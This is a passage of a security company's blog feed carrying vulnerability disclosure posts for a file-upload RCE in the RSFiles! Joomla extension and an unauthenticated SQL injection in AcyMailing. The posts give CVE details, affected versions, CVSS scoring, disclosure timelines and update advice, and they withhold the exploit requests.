      &lt;p&gt;It is unauthenticated, remotely exploitable in a single request, needs no user interaction, and ends in full remote code execution, so every metric that makes a flaw dangerous is at its worst here. This is the same profile as the near-identical Page Builder CK and Balbooa Forms flaws, both of which scored 10.0 on CVSS 4.0.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Full remote code execution&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This flaw is tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57827&quot;&gt;CVE-2026-57827&lt;/a&gt;, crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57827&quot;&gt;CVE-2026-57827&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;RSFiles! (&lt;code&gt;com_rsfiles&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;RSJoomla&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated arbitrary file upload to remote code execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;10.0 (critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;Up to and including 1.17.11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;1.17.12, released 10 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The disclosure ran on a single-day cycle from audit to fix:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Date&lt;/th&gt;
&lt;th&gt;Event&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;9 July 2026&lt;/td&gt;
&lt;td&gt;During a source-code audit of commonly installed Joomla extensions, we find the unauthenticated upload in RSFiles! and reproduce the full chain end to end on a local Joomla install: an anonymous request uploads a &lt;code&gt;.php&lt;/code&gt; file into the downloads folder and executes it.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10 July 2026&lt;/td&gt;
&lt;td&gt;We disclose the flaw privately to RSJoomla. The vendor responds the same day, ships RSFiles! 1.17.12 closing the anonymous upload route, and publishes an advisory telling site owners to update now. A CVE is requested. No proof of concept is published.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11 July 2026&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-57827&quot;&gt;CVE-2026-57827&lt;/a&gt; is assigned for the flaw, crediting Phil Taylor of mySites.guru.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;This RSFiles flaw was one of &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;a month of Joomla extension vulnerabilities we found and disclosed&lt;/a&gt; - the full roundup of the run.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.rsjoomla.com/blog/view/644-unauthenticated-file-upload-fixed-in-rsfiles-version-11712-update-now.html&quot;&gt;RSJoomla advisory: Unauthenticated File Upload fixed in RSFiles! 1.17.12&lt;/a&gt; - the vendor&apos;s own notice, telling site owners to update now.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/434.html&quot;&gt;CWE-434: Unrestricted Upload of File with Dangerous Type&lt;/a&gt; - the canonical definition of this weakness class from MITRE.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/File_Upload_Cheat_Sheet.html&quot;&gt;OWASP File Upload Cheat Sheet&lt;/a&gt; - the developer&apos;s checklist for accepting uploads safely: allow-lists, signature checks, renaming, and storing outside the web root.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/web-security/file-upload&quot;&gt;PortSwigger Web Security Academy: File upload vulnerabilities&lt;/a&gt; - a neutral, in-depth reference on how these flaws work and how to prevent them.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Securing_Joomla_extensions&quot;&gt;Securing Joomla extensions&lt;/a&gt; - Joomla&apos;s own guidance for developers, including safe file handling with &lt;code&gt;JFilterInput&lt;/code&gt; and &lt;code&gt;JFile::makeSafe()&lt;/code&gt;.

&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>vulnerability</category><category>rsjoomla</category><category>file-upload</category><enclosure url="https://mysites.guru/_astro/rsfiles-unauthenticated-file-upload-rce.DYm25dPB.png" length="0" type="image/png"/></item><item><title>Unauthenticated SQL Injection in AcyMailing found by mySites.guru</title><link>https://mysites.guru/blog/acymailing-sql-injection-disclosure/</link><guid isPermaLink="true">https://mysites.guru/blog/acymailing-sql-injection-disclosure/</guid><description>mySites.guru found and reported CVE-2026-56292, an unauthenticated SQL injection in AcyMailing for Joomla and WordPress. Update to 10.11.1 now.</description><pubDate>Thu, 09 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.acymailing.com/&quot;&gt;AcyMailing&lt;/a&gt; is one of the most widely installed newsletter and email-marketing extensions for Joomla. During routine security research on the extensions our customers rely on, &lt;strong&gt;mySites.guru discovered an unauthenticated SQL injection vulnerability in AcyMailing, and reported it privately to the developers before disclosing anything publicly.&lt;/strong&gt; The fix is now available in AcyMailing 10.11.1.&lt;/p&gt;
&lt;p&gt;If you run AcyMailing on any Joomla site, update to 10.11.1 now. If you manage more than a handful of sites, read on for how to find every affected one at once. This is the second AcyMailing security issue we have covered this year, after the &lt;a href=&quot;https://mysites.guru/blog/acymailing-cve-2026-3614-joomla/&quot;&gt;CVE-2026-3614 privilege-escalation flaw&lt;/a&gt; in April.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;mySites.guru found an &lt;strong&gt;unauthenticated SQL injection&lt;/strong&gt; in AcyMailing and reported it responsibly to the vendor&lt;/li&gt;
&lt;li&gt;Every version from 6.0.0 up to and including &lt;strong&gt;10.11.0&lt;/strong&gt; is affected; fixed in &lt;strong&gt;10.11.1&lt;/strong&gt; (released 9 July 2026)&lt;/li&gt;
&lt;li&gt;A public front-end endpoint placed request parameters straight into a database query, so an &lt;strong&gt;anonymous visitor could read data from any table&lt;/strong&gt; - user accounts, password hashes, article content&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to AcyMailing 10.11.1 immediately&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Tracked as &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/strong&gt;, assigned by the Joomla CNA and crediting mySites.guru as the finder; we score it &lt;strong&gt;CVSS 4.0 8.7 (High)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;mySites.guru already flags every connected Joomla site still running a vulnerable version, so you do not have to check each site by hand&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru discovered this security issue and reported it privately to the AcyMailing team in early July 2026. We withheld public details until a fix was available and site owners had a reasonable window to update. This is how we handle every vulnerability we find: fix first, publish second.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;What is the vulnerability?&lt;/h2&gt;
&lt;p&gt;AcyMailing exposes a front-end endpoint that anonymous visitors can reach without logging in. That endpoint accepted request parameters and placed them into the column list of a database &lt;code&gt;SELECT&lt;/code&gt; query &lt;strong&gt;without sanitising or quoting them&lt;/strong&gt;, the textbook shape of a &lt;a href=&quot;https://owasp.org/www-community/attacks/SQL_Injection&quot;&gt;SQL injection&lt;/a&gt;. Joomla&apos;s standard text filter, which the extension applied to those parameters, strips HTML but does nothing to neutralise SQL syntax. It is the same &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;public-endpoint-meets-unchecked-input pattern&lt;/a&gt; behind a long run of recent Joomla extension vulnerabilities.&lt;/p&gt;
&lt;p&gt;So an attacker could supply a crafted parameter that turned the query into one reading from any table in the Joomla database, and get the result back in the response. No account needed, no CSRF token, nothing stolen first.&lt;/p&gt;
&lt;p&gt;In practice that means an unauthenticated attacker could read:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Joomla user accounts, including usernames and password hashes&lt;/li&gt;
&lt;li&gt;Article and content records&lt;/li&gt;
&lt;li&gt;Extension configuration and other stored data&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We are deliberately not publishing the exact request or a working proof-of-concept. The point of this post is to get people updated, not to hand attackers a recipe.&lt;/p&gt;
&lt;h2&gt;How serious is it?&lt;/h2&gt;
&lt;p&gt;Serious enough that we treated it as a priority disclosure. The two things that decide real-world impact are:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Whether the site has a web application firewall that filters SQL.&lt;/strong&gt; Because the payload is literally SQL, a WAF often recognises and blocks it before it reaches AcyMailing. We tested this, and the results are worth their own section below. Sites running bare, with no such protection, are the exposed ones.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The site&apos;s own configuration.&lt;/strong&gt; Some setups hand the data straight back; others limit what an anonymous request can see. Either way, the safe assumption is that any site on an affected version is at risk until it&apos;s updated.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;A WAF is mitigation, not a fix. The only reliable remedy is to update AcyMailing.&lt;/p&gt;
&lt;h2&gt;Does a WAF protect you? We tested it&lt;/h2&gt;
&lt;p&gt;A web application firewall does not make your site secure. It is a layer, not a cure, and a vulnerable extension is still a vulnerable extension whether or not something in front of it happens to catch the attack today. But because this particular flaw is a SQL injection, and the payload is recognisably SQL, a decent WAF &lt;strong&gt;should&lt;/strong&gt; spot it and refuse the request.&lt;/p&gt;
&lt;p&gt;So we tested that claim rather than assert it. Against our proof-of-concept, with the extension left vulnerable, we put two of the most common Joomla firewalls in front of it:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Admin Tools Professional&lt;/strong&gt; (Akeeba), in its default settings, blocked the attack.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RSFirewall!&lt;/strong&gt; (RSJoomla), in its default settings, blocked the attack.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Both stopped the injection cold with no manual tuning. That is exactly what a WAF is for, and it is a strong argument for running one: a site with either of these installed and enabled was protected from this specific issue even before the patch existed.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;This is the case for defence in depth. Layers matter: a WAF caught this one before it reached the vulnerable code, giving you breathing room to update. It does not mean you can skip updating. Treat the firewall as the seatbelt and the patch as not crashing the car - you want both.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Do not read this as &quot;you are fine, your WAF has it covered&quot;. A WAF is only as good as its rules, it can be misconfigured or bypassed, and the next vulnerability in the next extension might not look like SQL at all. The firewall bought our tested sites time. Updating AcyMailing to 10.11.1 is what actually closes the door.&lt;/p&gt;
&lt;h2&gt;Which versions are affected?&lt;/h2&gt;
&lt;p&gt;Every AcyMailing release from 6.0.0 up to and including &lt;strong&gt;10.11.0&lt;/strong&gt; contains the affected code path. The fix shipped in &lt;strong&gt;AcyMailing 10.11.1&lt;/strong&gt; on &lt;strong&gt;9 July 2026&lt;/strong&gt;. The issue is tracked as &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/strong&gt;, assigned by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run any version of AcyMailing earlier than 10.11.1, assume your site is affected and update now. Do not wait to confirm exploitation - by the time you can confirm it, the data is already gone.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;WordPress is affected too, not just Joomla&lt;/h2&gt;
&lt;p&gt;This is the part people will miss. &lt;strong&gt;AcyMailing for WordPress is affected by exactly the same vulnerability.&lt;/strong&gt; AcyMailing is not a Joomla-only extension. It ships as a plugin for WordPress as well, built from the same codebase, and both editions carry the same public front-end endpoint and the same unsanitised query. The fix, version 10.11.1, is the fix for both.&lt;/p&gt;
&lt;p&gt;You do not have to take our word for the cross-platform scope, because the vendor&apos;s own changelog says so. Look again at the screenshot below: the entry is flagged with &lt;strong&gt;both the Joomla and the WordPress logos&lt;/strong&gt;. Acyba shipped one patch, on one day, for both CMS platforms, because it is one bug in one shared engine.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;If you run the AcyMailing plugin on WordPress, everything in this post applies to you. The affected range is the same (6.0.0 up to and including 10.11.0), the fix is the same (10.11.1), and an anonymous visitor could read your WordPress database, including your &lt;code&gt;wp_users&lt;/code&gt; table and the password hashes in it. Update the AcyMailing plugin now.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The version numbering is shared across both editions, which makes this easy to reason about. Whether the plugin sits in a Joomla site&apos;s Components menu or a WordPress site&apos;s Plugins list, the number to get to is &lt;strong&gt;10.11.1&lt;/strong&gt;. Anything from 6.0.0 to 10.11.0 is vulnerable on either platform.&lt;/p&gt;
&lt;h3&gt;How to update AcyMailing on WordPress&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Back up first.&lt;/strong&gt; As on Joomla, take a database and files backup before you touch the plugin. mySites.guru can &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;snapshot every connected WordPress site with one click&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update the plugin.&lt;/strong&gt; In the WordPress admin, go to Plugins, then Updates, and update AcyMailing to 10.11.1. If it is not offered yet, download the latest build from your AcyMailing account and upload it under Plugins, then Add New, then Upload Plugin. If you manage many WordPress sites, do it &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;in bulk from the mySites.guru dashboard&lt;/a&gt; rather than logging into each &lt;code&gt;wp-admin&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version&lt;/strong&gt; shows 10.11.1 or later, and clear any page or object cache.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;A note on how WordPress sites get flagged&lt;/h3&gt;
&lt;p&gt;For Joomla, we maintain our own extension vulnerability database and we have already added AcyMailing to it, so every connected Joomla site below 10.11.1 is flagged automatically within the hour. For WordPress, we have added AcyMailing to our &lt;a href=&quot;https://mysites.guru/blog/wordpress-plugin-vulnerability-alerting/&quot;&gt;WordPress plugin vulnerability tracking&lt;/a&gt; as well, so your connected WordPress sites below 10.11.1 are flagged too. Either way, the extension search below works for WordPress installs right now, so you can find every affected site today.&lt;/p&gt;
&lt;h2&gt;The changelog barely mentions it&lt;/h2&gt;
&lt;p&gt;Here is the entire public description of this fix, as it appears on the &lt;a href=&quot;https://www.acymailing.com/changelog/&quot;&gt;official AcyMailing changelog&lt;/a&gt; for 10.11.1:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;One line. It does not say the injection is unauthenticated, that an anonymous visitor with no account could reach it, or that it exposes user records and password hashes. If you triage updates by reading changelogs, this reads like a footnote, not the emergency it is.&lt;/p&gt;
&lt;p&gt;To show what &quot;a vulnerability allowing SQL injection&quot; actually means in practice, here is the output of our proof-of-concept against a local test install, with the extension left vulnerable. In a single anonymous request, with no login, it pulled back the Super Admin&apos;s username and full bcrypt password hash, a row from the content table, and the database name and version:&lt;/p&gt;
&lt;div&gt;
&lt;p&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;That is a local test site with throwaway data, not a customer&apos;s, and we are not releasing the request that produced it. But it is the concrete version of the changelog&apos;s one euphemistic line: an anonymous visitor reading the credentials table out of the database.&lt;/p&gt;
&lt;p&gt;This is the same trap we keep flagging. The &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms remote code execution fix&lt;/a&gt; landed under a plain &quot;Fixed&quot; heading, and JoomShaper shipped a critical Helix3 patch under a changelog that &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;just read &quot;Security Update&quot;&lt;/a&gt;. The words a vendor puts in a changelog are a poor guide to how urgently you need to update. The version number is what matters: anything below 10.11.1 needs updating now.&lt;/p&gt;
&lt;h2&gt;How do you update AcyMailing safely?&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Take a backup first.&lt;/strong&gt; Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;trigger a snapshot&lt;/a&gt; or a &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;full backup&lt;/a&gt; so you have a clean starting point to compare from.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update through Joomla&apos;s Extensions manager, or in bulk from mySites.guru.&lt;/strong&gt; On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull AcyMailing 10.11.1. If it does not appear, use Find Updates, or download the latest package from the AcyMailing account area and install it over the top. If you manage more than one site, do not do this one panel at a time: use the mySites.guru &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update feature to upgrade AcyMailing across every affected site from a single dashboard&lt;/a&gt;. We built the update runner to &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;push Joomla extension and WordPress plugin updates to thousands of sites at once&lt;/a&gt;, and you can even &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;enable auto-updates for any Joomla extension&lt;/a&gt; so a fix like this lands without you lifting a finger.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Confirm the version.&lt;/strong&gt; After updating, open Components, then AcyMailing, and check the version shown is 10.11.1 or later. In mySites.guru, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4a67f84d1bc674c196c7b3e60448f6a9&quot;&gt;extension search&lt;/a&gt; confirms in one view that no connected site is still below 10.11.1.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clear caches.&lt;/strong&gt; Clear Joomla&apos;s cache and any CDN or page cache so stale front-end assets do not linger.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Updating closes the door. It does not undo any data an attacker may already have read, so if you handle sensitive subscriber data and were on a vulnerable version for a long time, treat credentials and any exposed data as potentially known.&lt;/p&gt;
&lt;h2&gt;How mySites.guru handles this across many sites&lt;/h2&gt;
&lt;p&gt;Updating one site is easy. The hard part, if you manage dozens or hundreds of Joomla sites, is knowing &lt;strong&gt;which&lt;/strong&gt; ones run AcyMailing and which of those are still on a vulnerable version. Checking each admin panel by hand does not scale.&lt;/p&gt;
&lt;p&gt;mySites.guru already tracks the installed extensions and versions on every connected site. When a security issue like this lands, we add the affected version range to our vulnerability database, and every connected site running a vulnerable version of AcyMailing is flagged automatically. You see, in one place, exactly which sites need updating, and you can push the update from the dashboard rather than logging into each one.&lt;/p&gt;
&lt;p&gt;If you are already a mySites.guru subscriber, the &lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4a67f84d1bc674c196c7b3e60448f6a9&quot;&gt;AcyMailing extension search page&lt;/a&gt; lists every installed version across all your connected Joomla sites, grouped by version number. Filter for anything below 10.11.1 to see which sites still need the update.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;View all your AcyMailing installations&lt;/p&gt;
  &lt;p&gt;&lt;a href=&quot;https://manage.mysites.guru/en/extensions/similar/to/4a67f84d1bc674c196c7b3e60448f6a9&quot;&gt;Open AcyMailing Extension Search&lt;/a&gt;&lt;/p&gt;
  &lt;p&gt;Lists every installed version across all your connected Joomla sites. Filter for anything below 10.11.1 to find the installations that need updating.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;This is what we built the platform for. You should not have to learn about a Joomla security issue from the news and then go audit a portfolio of client sites by hand. The dashboard tells you what is exposed and lets you fix it from one place.&lt;/p&gt;
&lt;p&gt;Learn more about &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;automatic updates for any Joomla extension&lt;/a&gt; and how the &lt;a href=&quot;https://mysites.guru/joomla-hacked/&quot;&gt;suspect content tool&lt;/a&gt; helps after an incident.&lt;/p&gt;
&lt;h2&gt;Why newsletter extensions are a quiet attack surface&lt;/h2&gt;
&lt;p&gt;This is a pattern, not a one-off, and it is why the class of bug matters more than this single instance. Newsletter and form extensions make attractive targets for the same reason they are useful: they expose front-end endpoints that anonymous visitors are meant to reach. Subscribe forms, unsubscribe links, click tracking, archive pages - none of that can require a login.&lt;/p&gt;
&lt;p&gt;Every one of those public endpoints is attack surface. When the code behind them trusts request input, or hands it to a database query without escaping, an anonymous visitor becomes an anonymous attacker. We have seen the same class of issue across form builders like &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt;, page builders like &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt;, template frameworks like &lt;a href=&quot;https://mysites.guru/blog/novarain-framework-joomla-vulnerability/&quot;&gt;Novarain&lt;/a&gt;, and editors like &lt;a href=&quot;https://mysites.guru/blog/jce-pro-2-9-99-6-security-update/&quot;&gt;JCE&lt;/a&gt;: a public task that reaches a dangerous operation with too little checking in between.&lt;/p&gt;
&lt;p&gt;The lesson for site owners is not &quot;avoid newsletter extensions&quot;. They are fine, and the reputable ones are well maintained. The lesson is that &lt;strong&gt;keeping them updated is security-critical, not just feature maintenance&lt;/strong&gt;. A newsletter extension two versions behind is not a cosmetic problem.&lt;/p&gt;
&lt;h2&gt;What to do right now&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Update every &lt;strong&gt;Joomla and WordPress&lt;/strong&gt; site running AcyMailing to &lt;strong&gt;10.11.1&lt;/strong&gt; or later, one at a time or &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;in bulk from one dashboard&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand&lt;/li&gt;
&lt;li&gt;Take a backup before updating, and clear caches afterwards&lt;/li&gt;
&lt;li&gt;If you were on a vulnerable version for a long time and handle sensitive data, treat any exposed data as potentially read, and if you suspect a breach, &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;find any hacked files and backdoors&lt;/a&gt; and follow our guide to &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;fixing a hacked Joomla or WordPress site&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Disclosure timeline and CVE&lt;/h2&gt;
&lt;p&gt;This flaw is tracked as &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/strong&gt;, assigned by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;, the body that assigns identifiers for Joomla and its extensions, and crediting Phil Taylor of mySites.guru as the reporter.&lt;/p&gt;
&lt;p&gt;The vendor has not published a CVSS score. Scoring it ourselves against &lt;a href=&quot;https://www.first.org/cvss/calculator/4.0&quot;&gt;CVSS 4.0&lt;/a&gt;, the vulnerability rates &lt;strong&gt;8.7, High&lt;/strong&gt;. The vector is &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt;: reachable over the network, low complexity, no privileges and no user interaction, with high impact to the confidentiality of the site&apos;s data. It is not a 10.0 like the recent &lt;a href=&quot;https://mysites.guru/blog/balbooa-forms-unauthenticated-file-upload-flaw/&quot;&gt;Balbooa Forms&lt;/a&gt; and &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;Page Builder CK&lt;/a&gt; file-upload flaws, and the reason is worth understanding: this is a read-only injection, so it scores maximum on confidentiality but nothing on integrity or availability. An attacker can read your entire database, but this specific flaw does not let them write to it or take the site down. High, not critical, is the honest rating, and it is still an emergency when what leaks is every user record and password hash.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;8.7&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;High&lt;/span&gt;
        &lt;span&gt;Our own assessment, pending the official vector&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated, exploitable over the internet in a single request with no user interaction, ending in full read access to the site database. It falls short of 10.0 only because it is a read, not a write: high confidentiality impact, but no integrity or availability impact.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Full database read&lt;/span&gt;
        &lt;span&gt;Password hashes exposed&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56292&quot;&gt;CVE-2026-56292&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;AcyMailing for Joomla (&lt;code&gt;com_acym&lt;/code&gt;) and AcyMailing for WordPress (&lt;code&gt;acymailing&lt;/code&gt; plugin)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Acyba (&lt;a href=&quot;https://www.acymailing.com/&quot;&gt;acymailing.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection (CWE-89)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;8.7 (high), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N&lt;/code&gt; (our own assessment)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact&lt;/td&gt;
&lt;td&gt;Anonymous read access to any database table, including user accounts and password hashes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;6.0.0 up to and including 10.11.0, on both Joomla and WordPress&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;10.11.1, released 9 July 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
